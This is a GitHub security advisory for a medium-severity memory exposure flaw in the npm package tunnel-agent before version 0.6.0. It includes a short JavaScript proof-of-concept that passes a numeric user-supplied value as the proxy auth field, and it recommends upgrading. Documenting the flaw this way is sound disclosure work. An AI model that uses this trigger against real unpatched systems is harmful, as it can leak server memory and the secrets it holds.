GHSA-xc7v-wxcw-j472
medium
Memory Exposure in tunnel-agent
- Severity
- medium rating by GitHub
- Published
- Last changed
Description
Versions of tunnel-agent before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
Recommendation
Update to version 0.6.0 or later.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| tunnel-agent (npm) | before 0.6.0 | GitHub Advisory Database |
Classification
References
Sources
| Source | Record | Licence |
|---|---|---|
| GitHub Advisory Database | GHSA-xc7v-wxcw-j472 changed 2020-08-31 | CC-BY-4.0 |